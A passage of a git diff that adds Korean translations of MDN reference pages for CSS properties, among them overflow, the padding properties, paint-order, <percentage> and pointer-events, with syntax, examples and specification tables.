overflow 속성이 효력을 갖기 위해선 반드시 블록 레벨 컨테이너의 높이(height 또는 max-height)를 설정하거나, white-spacenowrap으로 설정해야 합니다.

+ +
+

참고: 하나의 축을 visible(기본값)로 하고, 다른 축에는 다른 값을 지정할 경우 visibleauto처럼 동작합니다.

+
+ +
+

참고: JavaScript {{domxref("Element.scrollTop")}} 속성을 사용하면 요소의 overflowhidden일 때도 스크롤할 수 있습니다.

+
+ +

구문

+ +
/* 키워드 값 */
+overflow: visible;
+overflow: hidden;
+overflow: clip;
+overflow: scroll;
+overflow: auto;
+overflow: hidden visible;
+
+/* 전역 값 */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+
+ +

overflow 속성은 아래의 키워드 값을 하나 또는 두 개 사용해 지정합니다. 두 개를 사용한 경우 첫 번째 값은 overflow-x, 두 번째 값은 overflow-y를 지정합니다. 하나만 사용하면 지정한 값을 양 축 모두에 적용합니다.

+ +

+ +
+
visible
+
콘텐츠를 자르지 않으며 안쪽 여백 상자 밖에도 그릴 수 있습니다.
+
hidden
+
콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 스크롤바를 제공하지 않고, 스크롤할 방법(드래그, 마우스 휠 등)도 지원하지 않습니다. 코드를 사용해 스크롤할 수는 있으므로 ({{domxref("HTMLElement.offsetLeft", "offsetLeft")}} 속성 설정 등), 이 상태의 요소도 스크롤 컨테이너입니다.
+
clip {{experimental_inline}}
+
hidden과 마찬가지로, 콘텐츠를 안쪽 여백 상자에 맞춰 자릅니다. 그러나 clip은 코드를 사용한 스크롤링도 방지하므로 어떠한 스크롤도 불가능합니다. 이 상태의 요소는 스크롤 컨테이너가 아니며, 새로운 블록 서식 문맥도 생성하지 않습니다. 서식 문맥이 필요하다면 {{cssxref("display", "display:flow-root", "#flow-root")}}을 사용할 수 있습니다.
+
scroll
+
콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 브라우저는 콘텐츠를 실제로 잘라냈는지 여부를 따지지 않고 항상 스크롤바를 노출하므로 내용의 변화에 따라 스크롤바가 생기거나 사라지지 않습니다. 프린터는 여전히 넘친 콘텐츠를 출력할 수도 있습니다.
+
auto
+
{{glossary("user agent", "사용자 에이전트")}}가 결정합니다. 콘텐츠가 안쪽 여백 상자에 들어간다면 visible과 동일하게 보이나, 새로운 블록 서식 문맥을 생성합니다. 데스크톱 브라우저의 경우 콘텐츠가 넘칠 때 스크롤바를 노출합니다.
+
+ +
+
overlay {{deprecated_inline}}
+
auto와 동일하게 동작하지만, 스크롤바가 공간을 차지하는 대신 콘텐츠 위에 위치합니다. Webkit(Safari 등)과 Blink(Chrome 또는 Opera 등) 기반 브라우저만 지원합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
p {
+     width: 12em;
+     height: 6em;
+     border: dotted;
+     overflow: visible; /* content is not clipped */
+}
+
+ +

visible (default)
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: hidden; /* no scrollbars are provided */ }
+
+ +

overflow: hidden
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: scroll; /* always show scrollbars */ }
+
+ +

overflow: scroll
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: auto; /* append scrollbars if necessary */ }
+
+ +

overflow: auto
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}{{Spec2('CSS3 Overflow')}}
{{SpecName('CSS3 Box', '#overflow1', 'overflow')}}{{Spec2('CSS3 Box')}}No change
{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.overflow")}}

+ +

같이 보기

+ +
    +
  • 관련 CSS 속성: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}
  • +
diff --git a/files/ko/web/css/padding-bottom/index.html b/files/ko/web/css/padding-bottom/index.html new file mode 100644 index 0000000000..119bc4fd25 --- /dev/null +++ b/files/ko/web/css/padding-bottom/index.html @@ -0,0 +1,111 @@ +--- +title: padding-bottom +slug: Web/CSS/padding-bottom +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-bottom +--- +
{{CSSRef}}
+ +

padding-bottom CSS 속성은 요소의 아래쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-bottom.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +

The effect of the CSS padding-top property on the element box

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-bottom: 0.5em;
+padding-bottom: 0;
+padding-bottom: 2cm;
+
+/* <percentage> 값 */
+padding-bottom: 10%;
+
+/* 전역 값 */
+padding-bottom: inherit;
+padding-bottom: initial;
+padding-bottom: unset;
+
+ +

padding-top 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-bottom: 5%; }
+.sidebox { padding-bottom: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-bottom') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-bottom') }}{{ Spec2('CSS3 Transitions') }}Defines padding-bottom as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-bottom', 'padding-bottom') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-bottom")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding-left/index.html b/files/ko/web/css/padding-left/index.html new file mode 100644 index 0000000000..d866466b4c --- /dev/null +++ b/files/ko/web/css/padding-left/index.html @@ -0,0 +1,109 @@ +--- +title: padding-left +slug: Web/CSS/padding-left +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-left +--- +
{{CSSRef}}
+ +

padding-left CSS 속성은 요소의 왼쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-left.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-left: 0.5em;
+padding-left: 0;
+padding-left: 2cm;
+
+/* <percentage> 값 */
+padding-left: 10%;
+
+/* 전역 값 */
+padding-left: inherit;
+padding-left: initial;
+padding-left: unset;
+
+ +

padding-left 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-left: 5%; }
+.sidebox { padding-left: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-left') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-left') }}{{ Spec2('CSS3 Transitions') }}Defines padding-left as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-left') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-left', 'padding-left') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-left")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding-right/index.html b/files/ko/web/css/padding-right/index.html new file mode 100644 index 0000000000..44c0a5be73 --- /dev/null +++ b/files/ko/web/css/padding-right/index.html @@ -0,0 +1,109 @@ +--- +title: padding-right +slug: Web/CSS/padding-right +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-right +--- +
{{CSSRef}}
+ +

padding-right CSS 속성은 요소의 오른쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-right.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-right: 0.5em;
+padding-right: 0;
+padding-right: 2cm;
+
+/* <percentage> 값 */
+padding-right: 10%;
+
+/* 전역 값 */
+padding-right: inherit;
+padding-right: initial;
+padding-right: unset;
+
+ +

padding-right 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-right: 5%; }
+.sidebox { padding-right: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-right') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-right') }}{{ Spec2('CSS3 Transitions') }}Defines padding-right as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-right') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-right', 'padding-right') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-right")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding-top/index.html b/files/ko/web/css/padding-top/index.html new file mode 100644 index 0000000000..708dd59e5d --- /dev/null +++ b/files/ko/web/css/padding-top/index.html @@ -0,0 +1,111 @@ +--- +title: padding-top +slug: Web/CSS/padding-top +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-top +--- +
{{CSSRef}}
+ +

padding-top CSS 속성은 요소의 위쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-top.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +

The effect of the CSS padding-top property on the element box

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-top: 0.5em;
+padding-top: 0;
+padding-top: 2cm;
+
+/* <percentage> 값 */
+padding-top: 10%;
+
+/* 전역 값 */
+padding-top: inherit;
+padding-top: initial;
+padding-top: unset;
+
+ +

padding-top 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-top: 5%; }
+.sidebox { padding-top: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-top') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-top') }}{{ Spec2('CSS3 Transitions') }}Defines padding-top as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-top') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-top', 'padding-top') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-top")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding/index.html b/files/ko/web/css/padding/index.html new file mode 100644 index 0000000000..e69023e569 --- /dev/null +++ b/files/ko/web/css/padding/index.html @@ -0,0 +1,158 @@ +--- +title: padding +slug: Web/CSS/padding +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding +--- +
{{CSSRef}}
+ +

padding CSS 속성은 요소의 네 방향 안쪽 여백 영역을 설정합니다. {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/padding.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +
+

참고: padding은 요소의 내부에 빈 공간을 추가합니다. 반면 {{cssxref("margin")}}은 요소의 주위에 빈 공간을 만듭니다.

+
+ +

구문

+ +
/* 네 면 모두 적용 */
+padding: 1em;
+
+/* 세로방향 | 가로방향 */
+padding: 5% 10%;
+
+/* 위 | 가로방향 | 아래 */
+padding: 1em 2em 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+padding: 5px 1em 0 2em;
+
+/* 전역 값 */
+padding: inherit;
+padding: initial;
+padding: unset;
+
+ +

padding 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("<length>")}}, {{cssxref("<percentage>")}} 중 하나로, 음수 값은 유효하지 않습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 여백을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 여백을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 여백을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 여백을 지정합니다. (시계방향)
  • +
+ +

+ +
+
{{cssxref("length")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("percentage")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 예제

+ +

HTML

+ +
<h4>평범한 안쪽 여백을 가진 요소.</h4>
+<h3>엄청난 안쪽 여백을 가진 요소!</h3>
+
+ +

CSS

+ +
h4 {
+  background-color: lime;
+  padding: 20px 50px;
+}
+
+h3 {
+  background-color: cyan;
+  padding: 110px 50px 50px 110px;
+}
+
+ +

{{EmbedLiveSample('간단한_예제', '100%', 300)}}

+ +

더 많은 예제

+ +
padding: 5%;                /* 모두 5% */
+
+padding: 10px;              /* 모두 10px */
+
+padding: 10px 20px;         /* 상하: 10px */
+                            /* 좌우: 20px */
+
+padding: 10px 3% 20px;      /* 상: 10px */
+                            /* 좌우: 3% */
+                            /* 하: 20px */
+
+padding: 1em 3px 30px 5px;  /* 상:  1em */
+                            /* 우:  3px */
+                            /* 하: 30px */
+                            /* 좌:  5px */
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding') }}{{ Spec2('CSS3 Transitions') }}Defines padding as animatable.
{{ SpecName('CSS2.1', 'box.html#propdef-padding', 'padding') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding', 'padding') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding")}}

+ +

같이 보기

+ +
    +
  • CSS 기본 박스 모델 입문
  • +
  • {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}.
  • +
diff --git a/files/ko/web/css/paged_media/index.html b/files/ko/web/css/paged_media/index.html new file mode 100644 index 0000000000..fd998e8d03 --- /dev/null +++ b/files/ko/web/css/paged_media/index.html @@ -0,0 +1,19 @@ +--- +title: Paged Media +slug: Web/CSS/Paged_Media +tags: + - CSS + - CSS3 + - Page Breaks +translation_of: Web/CSS/Paged_Media +--- +

인쇄 미디어(paged media) 속성은 인쇄 콘텐츠의 프레젠테이션 또는 콘텐츠를 개별 페이지로 나누는 다른 미디어를 제어합니다. 페이지 나누기 설정, 인쇄 가능 영역 제어, 서로 다른 좌우 페이지 스타일 및 요소 내부 나누기 제어를 할 수 있습니다. 널리 지원되는 속성은 포함합니다

+ +
    +
  • {{ cssxref("page-break-before") }}
  • +
  • {{ cssxref("page-break-after") }}
  • +
  • {{ cssxref("page-break-inside") }}
  • +
  • {{ cssxref("orphans") }}
  • +
  • {{ cssxref("widows") }}
  • +
  • {{ cssxref("@page") }}
  • +
diff --git a/files/ko/web/css/paint-order/index.html b/files/ko/web/css/paint-order/index.html new file mode 100644 index 0000000000..00b7ff9311 --- /dev/null +++ b/files/ko/web/css/paint-order/index.html @@ -0,0 +1,110 @@ +--- +title: paint-order +slug: Web/CSS/paint-order +tags: + - CSS + - Reference + - SVG + - Web + - 'recipe:css-property' +translation_of: Web/CSS/paint-order +--- +
{{CSSRef}}
+ +

CSS paint-order 속성은 텍스트 및 모양의 채움 색과 테두리(마커 포함)를 그리는 순서를 지정합니다.

+ +

구문

+ +
/* 일반 */
+paint-order: normal;
+
+/* 단일 값 */
+paint-order: stroke; /* draw the stroke first, then fill and markers */
+paint-order: markers; /* draw the markers first, then fill and stroke */
+
+/* 다중 값 */
+paint-order: stroke fill; /* draw the stroke first, then the fill, then the markers */
+paint-order: markers stroke fill; /* draw markers, then stroke, then fill */
+
+ +

아무것도 지정하지 않았을 때의 기본값은 fill, stroke, markers입니다.

+ +

하나의 값만 지정하면 그 값을 제일 먼저 그린 후, 기본값의 순서에 따라 나머지를 그립니다. 두 개를 지정하면 나머지 하나를 맨 나중에 그립니다.

+ +
+

참고: 마커의 경우 marker-* 속성(marker-start 등)과 <marker> 요소를 사용하는 SVG 모양의 경우에만 올바릅니다. HTML 텍스트는 이에 해당하지 않으므로 strokefill의 순서만 정할 수 있습니다.

+
+ +

+ +
+
normal
+
일반적인 그리기 순서를 사용합니다.
+
stroke,
+ fill,
+ markers
+
일부 항목 또는 모든 항목의 그리기 순서를 지정합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리와 채움 색 순서 바꾸기

+ +

SVG

+ +
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
+  <text x="10" y="75">stroke in front</text>
+  <text x="10" y="150" class="stroke-behind">stroke behind</text>
+</svg>
+ +

CSS

+ +
text {
+  font-family: sans-serif;
+  font-size: 50px;
+  font-weight: bold;
+  fill: black;
+  stroke: red;
+  stroke-width: 4px;
+}
+
+.stroke-behind {
+  paint-order: stroke fill;
+}
+ +

결과

+ +

{{EmbedLiveSample("테두리와_채움_색_순서_바꾸기", "100%", 165)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "painting.html#PaintOrder", "paint-order")}}{{Spec2("SVG2")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.paint-order")}}

diff --git a/files/ko/web/css/percentage/index.html b/files/ko/web/css/percentage/index.html new file mode 100644 index 0000000000..a6bf20bfb6 --- /dev/null +++ b/files/ko/web/css/percentage/index.html @@ -0,0 +1,86 @@ +--- +title: +slug: Web/CSS/percentage +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web +translation_of: Web/CSS/percentage +--- +
{{CSSRef}}
+ +

<percentage> CSS 자료형은 백분율 값을 나타냅니다. 보통 부모 객체와의 상대적 크기를 지정할 때 사용합니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("font-size")}} 처럼 다양한 속성에서 백분율을 쓸 수 있습니다.

+ +
참고: 계산된 값만 상속받을 수 있습니다. 따라서 부모 속성이 백분율 값을 사용하더라도 전달되는 값은 실제값(예컨대 너비의 {{cssxref("<length>")}} 값은 픽셀)이며 백분율 값은 접근할 수 없습니다.
+ +

구문

+ +

<percentage> 자료형은 {{cssxref("<number>")}}와 그 뒤의 백분율 기호(%)로 표기합니다. 선택적으로 하나의 + 또는 - 기호로 부호를 표기할 수 있지만, 음의 값은 어떤 속성에서도 유효하지 않습니다. 다른 CSS 단위와 마찬가지로 숫자와 기호 사이에 공백은 없습니다.

+ +

보간

+ +

애니메이션에서 <percentage> 자료형의 값은 유동소수점 실수를 사용해 보간됩니다. 보간의 속도는 애니메이션과 연결된 타이밍 함수가 결정합니다.

+ +

예제

+ +

widthmargin-left

+ +
<div style="background-color:blue;">
+  <div style="width:50%; margin-left:20%; background-color:lime;">
+    width: 50%, margin-left: 20%
+  </div>
+  <div style="width:30%; margin-left:60%; background-color:pink;">
+    width: 30%, margin-left: 60%
+  </div>
+</div>
+
+ +

{{EmbedLiveSample('width와_margin-left', '600', 140)}}

+ +

font-size

+ +
<div style="font-size:18px;">
+  <p>원본 텍스트 (18px)</p>
+  <p><span style="font-size:50%;">50%</span></p>
+  <p><span style="font-size:200%;">200%</span></p>
+</div>
+
+ +

{{EmbedLiveSample('font-size', 'auto', 160)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#percentages', '<percentage>')}}{{Spec2('CSS3 Values')}}No significant change from CSS Level 2 (Revision 1).
{{SpecName('CSS2.1', 'syndata.html#percentage-units', '<percentage>')}}{{Spec2('CSS2.1')}}No change from CSS Level 1.
{{SpecName('CSS1', '#percentage-units', '<percentage>')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.percentage")}}

diff --git a/files/ko/web/css/pointer-events/index.html b/files/ko/web/css/pointer-events/index.html new file mode 100644 index 0000000000..db74788d89 --- /dev/null +++ b/files/ko/web/css/pointer-events/index.html @@ -0,0 +1,168 @@ +--- +title: pointer-events +slug: Web/CSS/pointer-events +tags: + - CSS + - CSS Property + - Reference + - SVG +translation_of: Web/CSS/pointer-events +--- +
{{CSSRef}}
+ +

pointer-events CSS 속성은 그래픽 요소가 어떤 상황에서 포인터 이벤트의 대상이 될 수 있는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/pointer-events.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+pointer-events: auto;
+pointer-events: none;
+pointer-events: visiblePainted; /* SVG only */
+pointer-events: visibleFill;    /* SVG only */
+pointer-events: visibleStroke;  /* SVG only */
+pointer-events: visible;        /* SVG only */
+pointer-events: painted;        /* SVG only */
+pointer-events: fill;           /* SVG only */
+pointer-events: stroke;         /* SVG only */
+pointer-events: all;            /* SVG only */
+
+/* 전역 값 */
+pointer-events: inherit;
+pointer-events: initial;
+pointer-events: unset;
+
+ +

pointer-events 속성은 아래 목록의 값 중 하나를 선택해서 지정할 수 있습니다.

+ +

+ +
+
auto
+
요소가 pointer-events 속성을 지정하지 않은 것처럼 행동합니다. SVG 콘텐츠에서는 autovisiblePainted가 동일한 효과를 지닙니다.
+
+ +
+
none
+
요소가 포인터 이벤트의 대상이 되지 않습니다. 그러나 해당 요소의 자손이 다른 pointer-events 값을 지정한 경우, 그 자손은 대상이 될 수 있습니다. 이 때는 이벤트 캡처/버블 단계에서 none을 지정한 요소의 이벤트 처리기를 발동할 수 있습니다.
+
+ +

SVG 전용 (HTML에서 실험적 기능)

+ +
+
visiblePainted
+
SVG only. The element can only be the target of a mouse event when the visibility property is set to visible and when the mouse cursor is over the interior (i.e., 'fill') of the element and the fill property is set to a value other than none, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the stroke property is set to a value other than none.
+
visibleFill
+
SVG only. The element can only be the target of a mouse event when the visibility property is set to visible and when the mouse cursor is over the interior (i.e., fill) of the element. The value of the fill property does not affect event processing.
+
visibleStroke
+
SVG only. The element can only be the target of a mouse event when the visibility property is set to visible and when the mouse cursor is over the perimeter (i.e., stroke) of the element. The value of the stroke property does not affect event processing.
+
visible
+
SVG only. The element can be the target of a mouse event when the visibility property is set to visible and the mouse cursor is over either the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the fill and stroke do not affect event processing.
+
painted
+
SVG only. The element can only be the target of a mouse event when the mouse cursor is over the interior (i.e., 'fill') of the element and the fill property is set to a value other than none, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the stroke property is set to a value other than none. The value of the visibility property does not affect event processing.
+
fill
+
SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) of the element. The values of the fill and visibility properties do not affect event processing.
+
stroke
+
SVG only. The element can only be the target of a mouse event when the pointer is over the perimeter (i.e., stroke) of the element. The values of the stroke and visibility properties do not affect event processing.
+
all
+
SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the fill, stroke and visibility properties do not affect event processing.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

설명

+ +

SVG 콘텐츠에 pointer-events를 지정하지 않은 경우, visiblePainted 값과 동일한 방법을 사용합니다.

+ +

none 값의 경우 요소가 포인터 이벤트의 대상이 아님을 가리키는 동시에, 이벤트가 요소를 "뚫고" 들어가 "아래" 요소를 대상으로 하도록 만듭니다.

+ +

다만, pointer-events를 사용해 요소가 포인터 이벤트의 대상이 되지 않도록 지정한다 하여도, 요소의 이벤트 수신기가 절대 발동하지 않거나, 아예 발동할 수 없는 상태가 되는 것은 아닙니다. 만약 자식 요소 중 하나의 pointer-events를 명시적으로 허용한 경우, 해당 자식을 대상으로 하는 이벤트는 평범하게 부모 트리를 타고 올라가며, 그 도중에 부모의 이벤트 수신기를 발동시게 됩니다. 물론, 부모 요소가 덮고 있지만 (포인터 이벤트를 허용한) 자식 요소 바깥의 영역은 클릭해도 부모와 자식 둘 다 감지하지 못합니다.

+ +

pointer-events: none을 지정한 요소여도 Tab 키를 사용한 순차적 키보드 내비게이션으로 인해 포커스를 획득할 수 있습니다.

+ +

We would like to provide finer grained control (than just auto and none) in HTML for which parts of an element will cause it to "catch" pointer events, and when. To help us in deciding how pointer-events should be further extended for HTML, if you have any particular things that you would like to be able to do with this property, then please add them to the Use Cases section of this wiki page (don't worry about keeping it tidy).

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본 예제

+ +

다음 예제는 모든 이미지에서 포인터 이벤트(클릭, 드래그, 호버 등)를 비활성화합니다.

+ +
img {
+  pointer-events: none;
+}
+ +

링크 비활성화하기

+ +

다음 예제는 https://example.com으로 통하는 링크의 포인터 이벤트를 비활성화합니다.

+ +

HTML

+ +
<ul>
+  <li><a href="https://developer.mozilla.org">MDN</a></li>
+  <li><a href="http://example.com">example.com</a></li>
+</ul>
+ +

CSS

+ +
a[href="http://example.com"] {
+  pointer-events: none;
+}
+ +

결과

+ +
{{EmbedLiveSample("링크_비활성화하기", "500", "100")}}
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('SVG2', 'interact.html#PointerEventsProperty', 'pointer-events')}}{{Spec2('SVG2')}}
{{SpecName('SVG1.1', 'interact.html#PointerEventsProperty', 'pointer-events')}}{{Spec2('SVG1.1')}}Initial definition
+ +

Its extension to HTML elements, though present in early drafts of CSS Basic User Interface Module Level 3, has been pushed to its level 4.

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.pointer-events")}}

+ +

같이 보기

+ +
    +
  • The SVG attribute {{SVGAttr("pointer-events")}}
  • +
  • The SVG attribute {{SVGAttr("visibility")}}
  • +
  • WebKit Specs PointerEventsProperty extended for use in (X)HTML content
  • +
  • {{cssxref("user-select")}} - controls whether the user can select text
  • +
diff --git a/files/ko/web/css/position/index.html b/files/ko/web/css/position/index.html new file mode 100644 index 0000000000..ce23867543 --- /dev/null +++ b/files/ko/web/css/position/index.html @@ -0,0 +1,316 @@ +--- +title: position +slug: Web/CSS/position +tags: + - CSS + - CSS Positioninng + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/position +--- +
{{CSSRef}}
+ +

CSS position 속성은 문서 상에 요소를 배치하는 방법을 지정합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}} 속성이 요소를 배치할 최종 위치를 결정합니다.

+ +
{{EmbedInteractiveExample("pages/css/position.html")}}
+ + + +

구문

+ +

